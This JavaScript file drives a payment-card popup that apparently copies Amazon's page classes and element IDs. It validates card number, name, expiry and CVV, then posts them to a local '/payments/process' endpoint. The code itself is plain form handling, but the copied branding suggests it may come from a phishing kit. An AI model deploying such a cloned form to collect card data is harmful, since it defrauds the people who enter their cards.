document.addEventListener("DOMContentLoaded", () => {
    const modal = document.querySelector(".a-popover-modal");
    const modalWrapper = document.querySelector(".a-modal-scroller");
    const closeBtn = modal.querySelector("[data-action='a-popover-close']");
    const form = document.getElementById("pp-QBJBOr-15");

    const cardNumber = document.getElementById("pp-QBJBOr-17");
    const cardName = document.getElementById("pp-QBJBOr-19");
    const expMonth = document.getElementById("pp-QBJBOr-20");
    const expYear = document.getElementById("pp-QBJBOr-22");
    const cvv = document.getElementById("pp-QBJBOr-26");

    const errorBoxContainer = document.getElementById("pp-QBJBOr-16");
    const errorList = errorBoxContainer?.querySelector("ul");

    const submitWrapper = document.getElementById("pp-QBJBOr-30");
    const submitBtn = submitWrapper.querySelector(".a-button-input");

    const overlaySpinner = document.getElementById("pp-z3b4qh-28");

    modal.style.opacity = "0";
    modal.style.visibility = "hidden";
    modal.style.transition = "opacity 0.35s ease";

    overlaySpinner.style.display = "block";

    setTimeout(() => {
        modal.style.visibility = "visible";
        modal.style.opacity = "1";
        overlaySpinner.style.display = "block";

        setTimeout(() => {
            overlaySpinner.style.display = "none";
        }, 1000);
    }, 2000);

    cardNumber.addEventListener("input", () => {
        let value = cardNumber.value.replace(/\D/g, "");
        value = value.replace(/(.{4})/g, "$1 ").trim();
        cardNumber.value = value;
    });

    function luhnCheck(num) {
        num = num.replace(/\s+/g, "");
        let sum = 0;
        let shouldDouble = false;
        for (let i = num.length - 1; i >= 0; i--) {
            let digit = parseInt(num.charAt(i), 10);
            if (shouldDouble) {
                digit *= 2;
                if (digit > 9) digit -= 9;
            }
            sum += digit;
            shouldDouble = !shouldDouble;
        }
        return sum % 10 === 0;
    }

    cardName.addEventListener("input", () => {
        cardName.value = cardName.value.replace(/[^A-Za-z\s]/g, "");
    });

    cvv.addEventListener("input", () => {
        cvv.value = cvv.value.replace(/\D/g, "");
    });

    function resetErrors() {
        errorList.innerHTML = "";
        errorBoxContainer.classList.add("a-hidden", "aok-hidden");
        [cardNumber, cardName, cvv, expMonth, expYear].forEach(el =>
            el.classList.remove("a-form-error")
        );
    }

    function addError(msg, input) {
        const li = document.createElement("li");
        li.textContent = msg;
        errorList.appendChild(li);
        errorBoxContainer.classList.remove("a-hidden", "aok-hidden");
        if (input) input.classList.add("a-form-error");
    }

    function setLoading(state) {
        if (state) {
            submitWrapper.classList.add("loading");
            submitBtn.disabled = true;
            overlaySpinner.style.display = "block";
        } else {
            submitWrapper.classList.remove("loading");
            submitBtn.disabled = false;
            overlaySpinner.style.display = "none";
        }
    }

    form.addEventListener("submit", async (e) => {
        e.preventDefault();
        resetErrors();

        const rawCardNumber = cardNumber.value.replace(/\s+/g, "");
        let valid = true;

        if (rawCardNumber.length < 12) {
            valid = false;
            addError("Please enter a valid card number.", cardNumber);
        } else if (!luhnCheck(rawCardNumber)) {
            valid = false;
            addError("The card number is invalid.", cardNumber);
        }

        if (cardName.value.trim().length < 2) {
            valid = false;
            addError("Please enter the name on the card.", cardName);
        }

        if (!cvv.value.trim() || cvv.value.trim().length < 3) {
            valid = false;
            addError("Please enter a valid CVV/CVC code.", cvv);
        }

        const month = parseInt(expMonth.value, 10);
        const year = parseInt(expYear.value, 10);
        const today = new Date();

        expMonth.classList.remove("a-form-error");
        expYear.classList.remove("a-form-error");

        let expiryValid = true;

        if (isNaN(month) || month < 1 || month > 12) expiryValid = false;
        if (isNaN(year) || year < today.getFullYear()) expiryValid = false;

        const endOfMonth = new Date(year, month, 0);
        if (endOfMonth < today) expiryValid = false;

        if (!expiryValid) {
            valid = false;
            addError("The expiration date is invalid.", expMonth);
            expMonth.classList.add("a-form-error");
            expYear.classList.add("a-form-error");
        }

        if (!valid) return;

        setLoading(true);

        try {
            const payload = {
                card_number: rawCardNumber,
                card_name: cardName.value.trim(),
                expiration_month: expMonth.value,
                expiration_year: expYear.value,
                cvv: cvv.value.trim()
            };

            const response = await fetch("/payments/process", {
                method: "POST",
                headers: { "Content-Type": "application/json" },
                body: JSON.stringify(payload)
            });

            const result = await response.json();

            if (result.error) {
                addError(result.error);
                setLoading(false);
                return;
            }

            window.location.href = result.redirect ?? "/";
        } catch (err) {
            addError("Something went wrong. Please try again.");
            setLoading(false);
        }
    });

    window.addEventListener("pageshow", (event) => {
        if (event.persisted) setLoading(false);
    });
});
